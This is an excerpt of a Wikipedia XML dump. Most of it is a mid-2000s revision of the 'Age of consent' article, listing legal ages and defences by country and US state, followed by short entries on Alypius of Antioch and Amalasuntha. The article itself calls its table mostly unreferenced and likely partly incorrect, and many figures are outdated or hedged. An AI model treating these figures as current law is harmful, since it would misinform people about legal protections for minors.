      <comment>/* Ages of consent in various countries */ previous wording implied no male heterosexual AoC in England and Wales! It's 16 for all, except with &quot;relationship of trust&quot;</comment>
      <text xml:space="preserve">{{otheruses1|the legal concept}}

{{citation style}}

In [[criminal law]], the '''age of consent''' (AOC) is the age at which a person is considered to be capable of legally giving [[informed consent]] to any legal contract or behavior regulated by law, including [[sexual acts]] with another person. In most jurisdictions, the Age of Consent is violated when an adult has intercourse with an individual who has not reached that jurisdiction's AOC. In other jurisdictions, the AOC is a minimum age for any type of sexual conduct, and two minor participants can violate a jurisdiction's AOC. The crime and penalties for an AOC violation varies based on jurisdiction, the age of the older actor and the difference between the two actors. Charges may range from a relatively low level misdemeanor such as &quot;corruption of a minor&quot; to [[statutory rape]] (which is considered equivalent to rape, both in severity and sentencing.) Some jurisdictions have a second age of consent that is relevant in situations when the adult actor is in a position of authority over the minor (affecting teachers, coaches, principals, health professionals, police officers, family members.) Though some areas allow certain ages that can have sexual intercourse with someone over or under the age of consent but by only a few years (usually 3-4 years). 

The age of consent should not be confused with the [[age of majority]] or [[age of criminal responsibility]], and in some jurisdictions, the [[marriageable age]] differs from the age of consent.

The age of consent varies widely from jurisdiction to jurisdiction, though most jurisdictions in the world today have an age of consent between 14 to 18 years, but ages as young as 12 and as old as 21 also occur. The relevant age may also vary by the type of sexual act or the gender of the people concerned.

==Social and legal attitudes==
Social and legal attitudes towards the appropriate age of consent have drifted upwards in modern times; while ages from ten through to thirteen were typically acceptable in the mid 19th century, fifteen through eighteen had become the norm in many countries by the end of the 20th century. Calls for the age of consent for heterosexual sex to be lowered are largely unheard of outside of US, with a typical age of 14 to 18. 

Sexual relations with a person under the age of consent is in general a criminal offense, with punishments ranging from token fines to life imprisonment. In the [[United States]] this offense is frequently (but often inaccurately) called [[Statutory rape#Statutory rape|statutory rape]], though outside the United States other names are more commonly used (e.g. &quot;carnal knowledge of a person under sixteen years&quot;).

The enforcement practices of age of consent laws tend to vary depending on the social sensibilities of the particular culture. Often enforcement is not exercised to the letter of the law, with legal action being taken only when a sufficiently socially-unacceptable age gap exists between the two individuals, or if the perpetrator is in a position of authority over the minor (e.g. a teacher, priest or doctor). The [[sex]] of each participant also influences perceptions of an individual's guilt and therefore enforcement.  &quot;The Supreme Court has held that stricter rules for males do not violate the equal protection clause of the Constitution, on the theory that men lack the disincentives associated with pregnancy that women have to engage in sexual activity, and the law may thus provide men with those disincentives in the form of criminal sanctions.&quot; {{ref|posner}} Not only is enforcement more likely in the case of a larger age gap, but in the US at least, laws are becoming more explicit about prohibiting sex between youngsters and authority figures, even when sex would otherwise be legal.

That the relationship was consensual is not in general a defense to having sexual relations with a person under the age of consent; however, there are some defenses: common examples include a ''limited mistake of age defence'' and a ''defense of similarity of age''. A mistake of age defense is that the accused mistakenly believed the victim was not under the age of consent; however, where such a defense is provided, it is normally limited to apply only when the victim is above a certain age. Such a defense becomes stronger if the accused can show [[due diligence]] in determining the age of the victim.

A defense of similarity of age is that the difference in age between the accused and the victim was fewer than a certain number of years.
Another defense is often marriage, for those jurisdictions where the [[marriageable age]] is less than the age of consent.

===Extraterrioriality===
Increasingly the age of consent laws of a state apply not only to acts committed on its own territory, but also acts committed by its nationals and/or inhabitants on foreign territory. Such provisions have been frequently adopted to help reduce the incidence of child [[sex tourism]].

* In the [[United States]] the [[PROTECT Act of 2003]] (signed into law on April 30, 2003) authorizes fines and/or imprisonment for up to 30 years for US citizens or residents who engage in illicit sexual conduct abroad.  For the purposes of this law illicit sexual conduct includes commercial sex with anyone under 18, and all sex with anyone under 16.  Previous US law was less strict, only punishing those having sex either in contravention of local laws OR in commerce (prostitution); but did not prohibit non-commercial sex with, say, a 14 year-old if such sex is legal in the foreign territory.

* [[France]] allows the prosecution of its own citizens on rape charges for sex with minors under 15 abroad even if it was legal with respect to the local jurisdiction. The same applies to [[Germany]] if the minor is under 14.

* For inhabitants of the [[Netherlands]] it is a severe crime to have sex with a prostitute under the age of 18, or any person below 16, anywhere in the world. If a foreigner has had sex with someone under the age of 16 or a prostitute below 18—even if this was legal—and if this was done at a time that it was already illegal in the Netherlands, he or she becomes a criminal when immigrating to the Netherlands.

(See also [[Universal jurisdiction]]; the effective age of consent may be the highest of those corresponding to the list in [[Universal jurisdiction#Applicable jurisdictions|Applicable jurisdictions]].)

==Age of consent for homosexual and heterosexual sex==
Frequently, jurisdictions provide differing ages of consent for [[heterosexual]] and [[homosexuality|homosexual]] intercourse. Most often, the age of consent for heterosexual and female homosexual intercourse is lower than the age of consent for male homosexual intercourse. The [[gay rights movement]] has been attempting in many places to establish an equal age of consent regardless of the sex of the partners; this has resulted in many jurisdictions adopting a common age of consent, though conservatives have frequently and successfully opposed this (see [[Sodomy law]]). However, the [[United States Supreme Court]] decision in [[Lawrence v. Texas]] in 2003 effectively invalidated the disparity between heterosexual and homosexual ages of consent within the US.

==Ages of consent in various countries==
&lt;!-- Attention editors: if you alter any information in this section please provide a link to an authority or cite the appropriate law. See talk page heading &quot;The Age of Consent Challenge&quot; --&gt;

This table is for relative comparison of the &quot;norm&quot; between countries only and should not be considered authoritative.  Most of the information provided is unreferenced, and much is likely to be incorrect.  See detailed information for each jurisdiction below.

{|class=&quot;wikitable&quot;
!12
!13
!14
!15
!16
!17
!18
!20
!21
|----
|&lt;!-- 12 --&gt;
Mexico&lt;br&gt;
Philippines&lt;br&gt;
|&lt;!-- 13 --&gt;
Guyana&lt;br&gt;
Japan&lt;br&gt;
South&amp;nbsp;Korea&lt;br&gt;
Spain&lt;br&gt;
Swaziland&lt;br&gt;
|&lt;!-- 14 --&gt;
Albania&lt;br&gt;
Austria&lt;br&gt;
Bulgaria&lt;br&gt;
Canada&lt;br&gt;
Chile&lt;br&gt;
China&lt;br&gt;
Colombia&lt;br&gt;
Ecuador&lt;br&gt;
Estonia&lt;br&gt;
Germany&lt;br&gt;
Hungary&lt;br&gt;
Iceland&lt;br&gt;
Italy&lt;br&gt;
Montenegro&lt;br&gt;
Paraguay&lt;br&gt;
Peru&lt;br&gt;
Portugal&lt;br&gt;
Serbia&lt;br&gt;
|&lt;!-- 15 --&gt;
Czech&amp;nbsp;Republic&lt;br&gt;
Denmark&lt;br&gt;
France&lt;br&gt;
Greece&lt;br&gt;
Morocco&lt;br&gt;
Poland&lt;br&gt;
Romania&lt;br&gt;
Slovakia&lt;br&gt;
Slovenia&lt;br&gt;
Sweden&lt;br&gt;
Thailand&lt;br&gt;
Uruguay&lt;br&gt;
|&lt;!-- 16 --&gt;
Algeria&lt;br&gt;
Andorra&lt;br&gt;
Antigua&lt;br&gt;
Argentina&lt;br&gt;
Australia&lt;br&gt;
Belgium&lt;br&gt;
Finland&lt;br&gt;
Great Britain&lt;br&gt;
Hong&amp;nbsp;Kong&lt;br&gt;
India&lt;br&gt;
Israel&lt;br&gt;
Jersey&lt;br&gt;
Latvia&lt;br&gt;
Netherlands&lt;br&gt;
New Zealand&lt;br&gt;
Norway&lt;br&gt;
Puerto&amp;nbsp;Rico&lt;br&gt;
Russia&lt;br&gt;
Singapore&lt;br&gt;
South&amp;nbsp;Africa&lt;br&gt;
Switzerland&lt;br&gt;
Taiwan&lt;br&gt;
Ukraine&lt;br&gt;
United&amp;nbsp;States&lt;br&gt;
Venezuela&lt;br&gt;

|&lt;!-- 17 --&gt;
Indonesia&lt;br&gt;
Ireland&lt;br&gt;
Northern&amp;nbsp;Ireland&lt;br&gt;
|&lt;!-- 18 --&gt;
Egypt&lt;br&gt;
Kazakhstan&lt;br&gt;
Pakistan&lt;br&gt;
Tanzania&lt;br&gt;
Turkey&lt;br&gt;
Malaysia&lt;br&gt;
Vietnam&lt;br&gt;
|&lt;!-- 20 --&gt;
Tunisia&lt;br&gt;
|&lt;!-- 21 --&gt;
Madagascar&lt;br&gt;
|}

Age of consent in various countries:

&lt;!-- Attention editors: if you alter any information in this section please provide a link to an authority or cite the appropriate law. See talk page heading &quot;The Age of Consent Challenge&quot; --&gt;

* [[Albania]]: 14

* [[Algeria]]: 16; homosexual relationships are illegal

* [[Andorra]]: 16

* [[Antigua and Barbuda|Antigua]]: 16; homosexual relationships are illegal

* [[Argentina]]:
** 13 (below that it's considered [[rape]] - ''See Art. 119 [http://www.infoleg.gov.ar/infolegInternet/anexos/15000-19999/16546/texact.htm#17 Argentine Penal Code (in spanish)]'');
** 16, if abusing sexual immaturity or in some other cases (&quot;''Estupro''&quot;, which is less severe than [[rape]] - ''See Art. 120 [http://www.infoleg.gov.ar/infolegInternet/anexos/15000-19999/16546/texact.htm#17 Argentine Penal Code (in spanish)]'').
** Prosecutable only after a complaint by the minor, or by their parents/guardians. (Article 72 [http://www.infoleg.gov.ar/infolegInternet/anexos/15000-19999/16546/texact.htm#12 Argentine Penal Code])
** No &quot;corruption&quot; of minors (below 18) - ''See Art. 125 [http://www.infoleg.gov.ar/infolegInternet/anexos/15000-19999/16546/texact.htm#17 Argentine Penal Code (in spanish)]''.

* [[Australia]]:
** Australia is a Federation of States and Territories.  Australia's Constitution protects and retains certain residual powers for the States and so the Australian Federal Government (the Commonwealth) has constitutional limitations on what issues it can legislate.  This means that each State has its own laws regarding AOC. However, it is worth mentioning that a 1997 Federal Government and the United Nations Human Rights Committee ruling caused each State to repeal any differences in homo/heterosexual AOC. This is due to International Affairs being a power of the Commonwealth.
** Federal Laws (Laws that apply to all Australians): It is an offence for an Australian Citizen, Resident or Body Corporate [http://www.austlii.edu.au/au/legis/cth/consol_act/ca191482/s50ad.html {s50AD}] ''while outside of Australia'' to have sexual intercourse with a child '''under the age of 16''' [http://www.austlii.edu.au/au/legis/cth/consol_act/ca191482/s50ba.html {s50BA}] or to induce a child under 16 to have sexual intercourse [http://www.austlii.edu.au/au/legis/cth/consol_act/ca191482/s50bb.html {s50BB}], or be somehow involved in a similar sexual act [http://www.austlii.edu.au/au/legis/cth/consol_act/ca191482/s50bc.html {s50BC}]&amp;[http://www.austlii.edu.au/au/legis/cth/consol_act/ca191482/s50bd.html {s50BD}]
** [[Australian Capital Territory]] (ACT): It is an offence to engage in sexual intercourse with a person '''under the age of 16''' [http://www.austlii.edu.au/au/legis/act/consol_act/ca190082/s55.html {s55(2)}]. However the law in the ACT does permit as a defence if brought to court, an age difference of 2 years for those older than 10 years [http://www.austlii.edu.au/au/legis/act/consol_act/ca190082/s55.html {s55(3b)}].
** [[New South Wales]]: It is an offence to engage in sexual intercourse with a person '''under the age of 16''' [http://www.austlii.edu.au/au/legis/nsw/consol_act/ca190082/s66c.html {s66C}] or attempt such an offence [http://www.austlii.edu.au/au/legis/nsw/consol_act/ca190082/s66d.html {s66d}]. Further it is an offence to engage in sexual intercourse with a person '''under the age of 18''' if that person is under the care of the offender [http://www.austlii.edu.au/au/legis/nsw/consol_act/ca190082/s73.html {s73}] (Guardian, teacher and etcetera).
** [[Northern Territory]]: It is an offence to engage in sexual intercourse with a person '''under the age of 16''' [http://www.austlii.edu.au/au/legis/nt/consol_act/cca115/sch1.html {s127}] or attempt such an offence [http://www.austlii.edu.au/au/legis/nt/consol_act/cca115/sch1.html {s131}]. Further it is an offence to engage in sexual intercourse with a person '''under the age of 18''' if that person is under the care of the offender [http://www.austlii.edu.au/au/legis/nt/consol_act/cca115/sch1.html {s128}] (Guardian, teacher and etcetera).
** [[Queensland]] (Qld.): It is an offence to have carnal knowledge with a person '''under the age of 16''' [http://www.austlii.edu.au/au/legis/qld/consol_act/cc189994/s215.html {s215}]. '''Note''' that in Qld. “carnal knowledge” does not include “sodomy”. Sodomy ([[anal sex]]) is not permitted with any person '''under the age of 18''', regardless of gender or what position is taken by which individual  [http://www.austlii.edu.au/au/legis/qld/consol_act/cc189994/s208.html {s208}].
** [[South Australia]]: It is an offence to have sexual intercourse with a person '''under the age of 17''' [http://www.austlii.edu.au/au/legis/sa/consol_act/clca1935262/s49.html {s49(3)}]. However it is a defence if both parties were 16 at the time of the offence [http://www.austlii.edu.au/au/legis/sa/consol_act/clca1935262/s49.html {s49(4)}] or if both parties are married to one another [http://www.austlii.edu.au/au/legis/sa/consol_act/clca1935262/s49.html {s49(8)}]. Further it is an offence to engage in sexual intercourse with a person '''under the age of 18''' if that person is under the care of the offender [http://www.austlii.edu.au/au/legis/sa/consol_act/clca1935262/s49.html {s49(5)}] (Guardian, teacher and etcetera).
** [[Tasmania]]: It is an offence to have sexual intercourse with a person '''under the age of 17''' [http://www.austlii.edu.au/au/legis/tas/consol%5fact/cca1924115/s13.html {s13-124}]. However it is a defence if no anal sex occurred and the younger person was of or above 12 years and the older was not more than 3 years their senior or, if no anal sex occured and the younger person was of or above 15 years and the older was not more than 5 years their senior [http://www.austlii.edu.au/au/legis/tas/consol%5fact/cca1924115/s13.html {s13-124(3)}].
** [[Victoria (Australia)|Victoria]]: It is an offence to take part in sexual penetration with a person '''under the age of 16''' [http://www.austlii.edu.au/au/legis/vic/consol_act/ca195882/s45.html {s45(1)}]. However it is a defence if the younger party was aged 10 or more years and the older party was not more than 2 years older [http://www.austlii.edu.au/au/legis/vic/consol_act/ca195882/s45.html {s45(4)(b)}]. Further it is an offence to take part in sexual penetration with a '''16 or 17''' year old person if that person is under the care of the offender [http://www.austlii.edu.au/au/legis/vic/consol_act/ca195882/s48.html {s48}] (Guardian, teacher and etcetera).
** [[Western Australia]]: It is an offence to sexually penetrate a person '''under the age of 16''' [http://www.austlii.edu.au/au/legis/wa/consol_act/cc94/s321.html {s321}]. Further it is an offence to sexually penetrate a person '''under the age of 18''' if that person is under the care of the offender [http://www.austlii.edu.au/au/legis/wa/consol_act/cc94/s322.html {s322}] (Guardian, teacher and etcetera).

* [[Austria]]: 14 (as of [[August 13]], [[2002]])

* [[Belgium]]: 16 (possible restrictions apply under 18)

* [[Brazil]]: 
** 18; 
** 14-17 prosecutable only after a complaint by the minor.
** Under 14 there seems to be some confusion regarding the age below which the state may unilaterally bring charges without a complaint from the child or parent.  Some sources suggest it is 12, others 10.

* [[Bulgaria]]: 14

* [[Canada]]: 14 (18 for anal sex between persons not married to each other in all provinces except Ontario and Quebec; 18 for anyone in a position of &quot;trust or authority&quot;)
** Courts in Ontario (1995) and Quebec (1998) independently declared Section 159 of the Criminal Code of Canada (Anal Intercourse) unconstitutional.  Although not binding in other provinces, these rulings have set a precedent that would make successful prosecution elsewhere in Canada unlikely.
** Persons under 18 are still deemed unable to consent to sexual activity in certain contexts, such as prostitution or pornography; or with certain persons in a position of authority. 
** Sex between partners that are within two years of age of each other is always legal unless the age of consent is 18 due to one of the conditions specified above. (14 and 15 year olds are granted an exemption if their partner is less than two years younger than them, 12 and 13 year olds specifically cannot be charged with a violation of the age of consent law, and 11 year olds and under cannot be charged with a crime in Canada.)

* [[Chile]]: 14

* [[China|China, People's Republic of]]: 14
** [[Hong Kong|Hong Kong S.A.R.]]: male homosexual 21 (and both the older AND younger partners can be prosecuted and liable to imprisonment for life) [gay sex laws recently overturned by court], lesbian 16, heterosexual 16.

* [[Republic of China|China, Republic of; (Taiwan)]]: 16, including heterosexual and homosexual relationships

* [[Colombia]]: 14

* [[Croatia]]: 14 or 18

* [[Czech Republic]]: 15

* [[Denmark]]: 15 for full consent (in regard to age differences) to sexual relationships; no limits when ages are less than 1 year apart (Meaning, no criminal charges are brought) ; 18 for dependency relationships (teacher/student etc.) and professional sexual ([[Prostitution]] is decriminalized in Denmark, but one can consent only when 18 or older).

* [[Ecuador]]:
** 14;
** 18 if woman is &quot;honest&quot; (not a prostitute) and &quot;seduction&quot; or deceit is used.

* [[Egypt]]: 18, homosexual sex is not mentioned in the law but homosexuals are prosecuted under various moral statutes

* [[Estonia]]: 14

* [[Finland]]: 16; 18 in dependency relationships (teacher/student etc.)and prostitution.

* [[France]]: 15; however sex with a minor under 18 in a dependency relationship may be criminalized.

* [[Germany]]:
** 18 years in dependency relationships (teacher/student etc.)
** 16 years if the older partner is over 18 and coerces the younger partner into sex other than by physical means, or if the older partner pays the younger partner to have sex ([[prostitution]])
** 16 years if the older partner is over 21 and exploits &quot;lack of sexual self-determination&quot; of the younger partner (only prosecuted after complaints or &amp;#8220;public interest&quot;, in practice rarely prosecuted with little or no punishment)
** 14 years for all other sexual relationships

* [[Greece]]: 15 (since [[1987]])

* [[Guyana]]: 13 (legislation to raise the age to 16 is [http://www.gina.gov.gy/archive/daily/b050601.html#8 under discussion])

* [[Hungary]]:
** Since the 2002 decision of the Constitutional Court 14 for both heterosexual and homosexual relationships

* [[Iceland]]: 14

* [[Indonesia]]: 17 (18 for homosexual men)

* [[Iran]]: extramarital sex is illegal (see: [[Marriageable age]]), note that homosexual sex may be punishable by death

* [[Republic of Ireland|Ireland, Republic of]]: 17, 15 for non-penetrative sexual contact.
** Different sections of law, and indeed different government departments disagree on whether the age of consent is 17 or 16 or even 15, or whether or not a disparity still exists between male and female ages. The majority of sex education literature in schools, as well as the most recent act referencing the age of consent state 16, however more recent [[Dáil]] debates have put this into doubt. 

* [[Israel]]: 16, but if the female is under 16 and above 14, the age difference should not be greater than 3 years between her and her partner. 18 if dependency relationships (teacher/student etc.)

* [[Italy]]: 14

* [[Japan]]: 13 nationwide. Some prefectures have additional legislation concerning sex with children between 13 and 16 (or 18 if &quot;insincere&quot; relation or prostitution), making the actual age of consent vary between 13 and 16 if prostitution is excluded. Age of marriage for a female with parental approval is 16.

* [[Jersey]]: 16 (18 for homosexual intercourse)

* [[Kazakhstan]]: 18

* [[Latvia]]: 16

* [[Lithuania]]: 14

* [[Madagascar]]: quite possibly 21 (heterosexual and homosexual)

* [[Malaysia]]: 
** 18, but [[Muslim]]s must also be married
** homosexual sex is illegal (maximum 20 years' jail)
** Anal penetration is illegal in Malaysia, regardless of age.

* [[Mexico]]: [http://www.interpol.int/Public/Children/SexualAbuse/NationalLaws/csaMexico.asp]
** 12 (Article 266 of the Penal Code)
** 16 for prostitution (Article 201)
** 18 if deceit is used (Article 262 of the Penal Code)

* [[Morocco]]: 15, homosexual sex is illegal

* [[Netherlands]]: 16 (18 if dependent relationship or prostitution)

* [[New Zealand]]: 16 [http://www.legislation.govt.nz/libraries/contents/om_isapi.dll?clientID=197507246&amp;infobase=pal_statutes.nfo&amp;jump=a1961-043%2fs.134&amp;softpage=DOC&amp;wordsaroundhits=6#JUMPDEST_a1961-043/s.134   §134] (18 if prostitution ([http://www.legislation.govt.nz/libraries/contents/om_isapi.dll?clientID=197507246&amp;infobase=pal_statutes.nfo&amp;jd=a2003-028%2fs.20&amp;record={98799F16}&amp;softpage=DOC&amp;wordsaroundhits=6 §20–23]) or some types of dependent relationships)
**Although anti-pedophile laws in New Zealand (as with all other western countries) are currently severe, consensual relationship between adults and young teens are usually not prosecuted unless the parent or child complain about it.
**Before 2005, there was never a law in New Zealand prohibiting any form of sexual relationship between women and boys.  Until the Crimes Amendment Act (No.2) came into force in May 2005, the age of consent was 16 for older men and young girls, as well as for homosexual males (since legalization in 1986), but there was no age of consent where a woman was the older partner with a boy, and for Lesbian sex the age of consent was 12 if both partners were under 21 (16 if otherwise).  This law was only amended recently after being in force for over 100 years.  The legal loophole was identified in 2003 when a 21-year-old man faced imprisonment for sex with a 14-year-old girl, while a 21-year-old woman at the same time made her relationship with a 13-year-old boy public with the media because she knew she couldn't be charged.
** New Zealand decriminalised prostitution in 2003 with a legal age of 18.

* [[Norway]]: 16 [http://www.lovdata.no/all/hl-19020522-010.html#196 §196]

* [[Pakistan]]: 18

* [[Panamá]]:
** 12 if female.
** 14 if male.

* [[Paraguay]]:
** 14;
** 16 if one of them is married to another person;
** 16 if homosexual

* [[Peru]]: 14

* [[Philippines]]: 12 (restrictions on partners under 18 such as prostitution)

* [[Poland]]: 15

* [[Portugal]]: heterosexual 14, homosexual 16

* [[Puerto Rico]]: 16

* [[Romania]]: 15; 18 in dependency relationships (teacher/student etc.)

* [[Russia]]: 16
** only a person over 18 can be charged;
** charges are relatively low (up to 4 years of prison); this includes sexual acts (hetero and homosexual) and &quot;obscene actions&quot; (with even less charges) – ''Articles 134 and 135 of [http://base.consultant.ru/cons/cgi/online.cgi?req=doc;base=LAW;n=57568;div=LAW Penal Code (in Russian)]'';
** if the victim is proved not to understand the nature and consequences of the act (due to their age or mental abilities), it will be considered rape and charged much more severely (up to 10 years of prison, or up to 15 if victim under 14) – ''Articles 131 and 132 of [http://base.consultant.ru/cons/cgi/online.cgi?req=doc;base=LAW;n=57568;div=LAW Penal Code (in Russian)]'';

* [[Saudi Arabia]]: heterosexual must be married, homosexual illegal
** heterosexual sex outside marriage is punishable by [[flogging]]
** male and female homosexual sex is illegal by virtue of being outside marriage and punishable by death
** See: [[Human rights in Saudi Arabia]]

* [[Serbia-Montenegro]]:
** [[Serbia]]: heterosexual and female homosexual 14, male homosexual 18
** [[Montenegro]]: 14 (for all three types)

* [[Singapore]]: 16
** engaging sexual intercourse with a female aged under 14 is considered [[Statutory Rape]]
** engaging sexual intercourse with a female aged under 16 is considered an offense of ''&quot;carnal intercourse with an underage female&quot;'' (less severe than rape but still a punishable offense)
** homosexual sex is illegal and punishable by imprisonment, possibly for 10 years or even life

* [[Slovakia]]: 15

* [[Slovenia]]: 15

* [[South Africa]]: homosexual 19, heterosexual 16

* [[South Korea]]: 13 (19 if prostitution)

* [[Spain]]: 13 (possible restrictions apply under 16)

* [[Swaziland]]: heterosexual 13, homosexual acts are illegal

* [[Sweden]]: 15; 18 in dependency relationships (teacher/student etc.)

* [[Switzerland]]: 16, under 16 legal if age difference is no more than 3 years

* [[Tanzania]]: 18, homosexual sex is illegal

* [[Thailand]]: 15

* [[Tunisia]]: 20, anal intercourse between men is illegal

* [[Turkey]]: 18

* [[Ukraine]]: 16

* [[Uruguay]]:
** 15, though can be 12 in certain special cases. (Articles 272 and 267, [http://www.parlamento.gub.uy/Codigos/CodigoPenal/l2t10.htm Uruguayan Penal Code])
** No &quot;corruption&quot; of minors (below 18). (Article 274, [http://www.parlamento.gub.uy/Codigos/CodigoPenal/l2t10.htm Uruguayan Penal Code])

* [[United Kingdom]]: The [[Sexual Offences Act 2003]] is the relevant law. Ages of consent are the same for heterosexuals and homosexuals, but legal treatment varies slightly between different areas of the UK.
**[[England]] and [[Wales]]: heterosexual and homosexual 16 for both sexes
**[[Scotland]]: heterosexual and male homosexual 16
**[[Northern Ireland]]: heterosexual and male homosexual 17
**18 years for any sexual act if there is a relationship of trust (e.g. teacher/pupil), unless they are a married couple.
**Until 2003, there was no specific law regarding the female homosexual, though in England and Wales this has now been set at 16 years old.  Although no such legislation exists for Scotland and Northern Ireland, a female under 16 is deemed incapable of consenting to any type of sexual behaviour which could be classed as sexual assault and the courts have taken this to mean that the age of consent is the same as for male homosexual acts.
**Before 2001 the homosexual age of consent in England and Wales was 18, and before the early 1990s it was 21, the age it was set at when consensual [[buggery]] was decriminalised in the 1960s. The heterosexual age of consent was raised from 12 to 16 in the late 19th Century.

* [[United States]]:  Varies from state to state, usually 16; some states formerly forbade homosexual acts entirely, however such laws have been declared unconstitutional in 2003 (''[[Lawrence v. Texas]]''). ''Lawrence'' also had the effect of invalidating the differences between heterosexual and homosexual age of consent laws; the general, albeit untested, consensus is that the youngest age of consent law on the books in any given state now applies regardless of sexuality. 
**Federal law forbids crossing state lines or international borders with a person who is under 18 (in an attempt to escape the state's AOC or without permission from the minor's legal guardian), or any sex with a person who is under 16 and at least 4 years younger than the perpetrator in Federal territories ([http://caselaw.lp.findlaw.com/casecode/uscodes/18/parts/i/chapters/109a/sections/section_2243.html 18 U.S.C. 2243], [http://caselaw.lp.findlaw.com/casecode/uscodes/18/parts/i/chapters/117/sections/section_2423.html 18 U.S.C. 2423]). Federal and various state laws makes it is illegal to produce [[pornography]] featuring those under 18 and prosecutions have been commenced for cases where both partners are over the age of consent and under 18 years old, where they were making material solely for their own consumption or that of their lawful partner. The constitutionality of these cases is uncertain. 
** [[Alaska]], [[Arkansas]], [[Connecticut]], [[Washington, D.C.|District of Columbia]], [[Delaware]], [[Georgia (U.S. state)|Georgia]], [[Hawaii]], [[Kansas]], [[Maine]], [[Maryland]], [[Massachusetts]] [http://www.lawlib.state.ma.us/sex.html#16], [[Michigan]], [[Minnesota]], [[Mississippi]], [[Montana]], [[Nebraska]], [[Nevada]], [[New Jersey]], [[North Carolina]], [[Ohio]], [[Oklahoma]], [[Pennsylvania]], [[Rhode Island]], [[South Dakota]], [[Vermont]], [[West Virginia]], [[Alabama]]: 16
** [[Illinois]], [[Louisiana]], [[New York]]: 17
** [[Arizona]], [[California]], [[North Dakota]], [[Oregon]], [[Tennessee]], [[Utah]], [[Wisconsin]]: 18
** [[Virginia]]: 18, 15-17 falls under [http://leg1.state.va.us/cgi-bin/legp504.exe?000+cod+18.2-371 18.2-371 contributing to the delinquency of a minor] if partner is over 18, 13-14 falls under [http://leg1.state.va.us/cgi-bin/legp504.exe?000+cod+18.2-63 18.2-63]
** [[Colorado]]: 15 (17 if partner 10 years older and not spouse)
** [[Florida]]: 16 (If partner under 24), 18 (all other adult partners)
** [[Idaho]]: 16 or 17 (if partner less than 5 years older), 18 (all other adult partners)
** [[Indiana]]: 14 (if partner under 18), 16 (all other adult partners)
** [[Iowa]]: 14 or 15 (if partner less than 5 years older), 16 (all other adult partners) State law imposes a mandatory lifetime banishment from most [[Iowa]] cities for a person who violates any state's age of consent law. Iowa's ban applies to conduct that occurs in other states regardless if it was legal in those states.  Said persons would not be allowed to legally live in most Iowa cities, and would generally be restricted to rural areas. Federal courts have upheld this law, and the US Supreme Court has refused to review it. 
** [[Kentucky]]: 16 (if under 21, a person's partner can legally be no more than 5 years of age younger; i.e. 20 and 15 or 18 and 13)
** [[Missouri]]: 14 (if partner under 21), 17 (all other adults)
** [[New Hampshire]]: 16 [http://www.gencourt.state.nh.us/rsa/html/LXII/632-A/632-A-4.htm RSA 632-A:4], 18 (person in position of authority [http://www.gencourt.state.nh.us/rsa/html/LXII/632-A/632-A-2.htm RSA 632-A:6])
** [[New Mexico]]: 13 if partner is four or less years older, 18 otherwise (NM Statute 30-9-11 Criminal sexual penetration)
** [[South Carolina]]: 14 (Under state constitution)/16 (Under state law - appears to conflict with state constitution). 
** [[Texas]]: 14 if the other partner is within 3 years in age, otherwise 17.
** [[Washington]]: 16 (18 if partner is at least 59 months older, OR in a significant supervisory relationship and uses that relationship to engage in sex with the minor).  
** [[Wyoming]]: 16/18 (conflicting laws appear to set two different ages of consent)
** Military: equal to the state the base is located in; homosexuality grounds for dismissal regardless where the base is located.

* [[Venezuela]]: 16

* [[Vietnam]]: 18 according to most sources

==See also==
*[[Marriageable age]]
*[[Age disparity in sexual relationships]]
*[[Criminal law]]
*[[United Nations Convention on the Rights of the Child]]

== External links ==
*[http://www.ageofconsent.com/ageofconsent.htm Age Of Consent chart] (last updated 2003)
*[http://www.omaha-neb.com/iowa.htm Iowa's lifetime banishment for violating age of consent laws in any state.] (Law applies even for two teens close in age.)
*[http://womhist.binghamton.edu/aoc/doclist.htm Age of Consent Campaign, 1886-1914] (in the USA)
*[http://www.spartacus.schoolnet.co.uk/REage.htm Age of Consent] campaigns in the U.K.
* [http://www.avert.org/aofconsent.htm Chart of ages of consent around the world] (welcomes suggested updates from readers, if they can provide good sources)
*[http://www.interpol.int/Public/Children/SexualAbuse/NationalLaws/Default.asp Legislation of Interpol member states on sexual offences against children]
* [http://www.state.hi.us/ag/pdf_documents/Report_Age_of_Consent_Task_Force.pdf Hawaii Age of Consent Task Force Report] (pages 65-68 of this report offer graphical charts of the 50 states showing their ages of consent, especially in the context of age differentiation)
* [http://www.moraloutrage.net Current AOC information and statutory rape law reform] (in the USA)

==References==
#{{note|posner}} Posner, Richard, A Guide to America's Sex Laws, The University of Chicago Press, 1996. ISBN 0-226-67564-5. Page 45. The case cited is &lt;i&gt;Michael M. v. Superior Court&lt;/i&gt;, 450 U.S. 464 (1981).

[[Category:Statutory law]]
[[Category:Legal fictions]]
[[Category:LGBT civil rights]]
[[Category:Sex crimes]]
[[Category:Sexuality and age]]

&lt;!-- The below are interlanguage links. --&gt;
[[da:Seksuel lavalder]]
[[de:Schutzalter]]
[[fr:Majorité sexuelle]]
[[he:גיל ההסכמה]]
[[hu:Beleegyezési korhatár]]
[[ru:Возраст согласия]]</text>
    </revision>
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      <timestamp>2006-03-01T08:22:31Z</timestamp>
      <contributor>
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        <id>51294</id>
      </contributor>
      <comment>links &amp; addition of the word &quot;and&quot;</comment>
      <text xml:space="preserve">:''[[Alypius of Thagaste]] is also the name of an early [[Christian]] [[Saint]].''
'''Alypius of Antioch''' was a [[geographer]] of the mid [[4th century]] who 
was sent by the emperor [[Julian the Apostate|Julian]] into [[Roman Britain|Britain]] as [[vicarius]]. He ruled during a difficult period and he was probably considered suitable for the post because he came from the far east of the empire and had no associations with the west. He may have had to deal with the insurrection of the usurper named '[[Carausius II]].'

Alypius was afterwards commissioned to rebuild the [[Temple in Jerusalem]] as part of Julian's systematic attempt to reverse the [[Christianization]] of the [[Roman Empire]] by restoring [[pagan]] and, in this case, [[Judaism|Jewish]] practices. Among the letters of Julian are two (29 and 30) addressed to Alypius; one inviting him to [[Rome]], the other thanking him for a geographical treatise, which no longer exists.  

==References==
*{{1911}}

[[Category:Ancient geographers]]
[[Category:Roman governors of Britain]]
[[Category:Ancient Romans]]
[[Category:Romans in Britain]]</text>
    </revision>
  </page>
  <page>
    <title>Amalasuntha</title>
    <id>1655</id>
    <revision>
      <id>32697024</id>
      <timestamp>2005-12-25T18:42:49Z</timestamp>
      <contributor>
        <username>The One True Fred</username>
        <id>263909</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Amalasuntha''' (also known as '''Amalasuentha''' or '''Amalaswintha''') (d. [[535]]) was a queen of the [[Ostrogoth]]s.

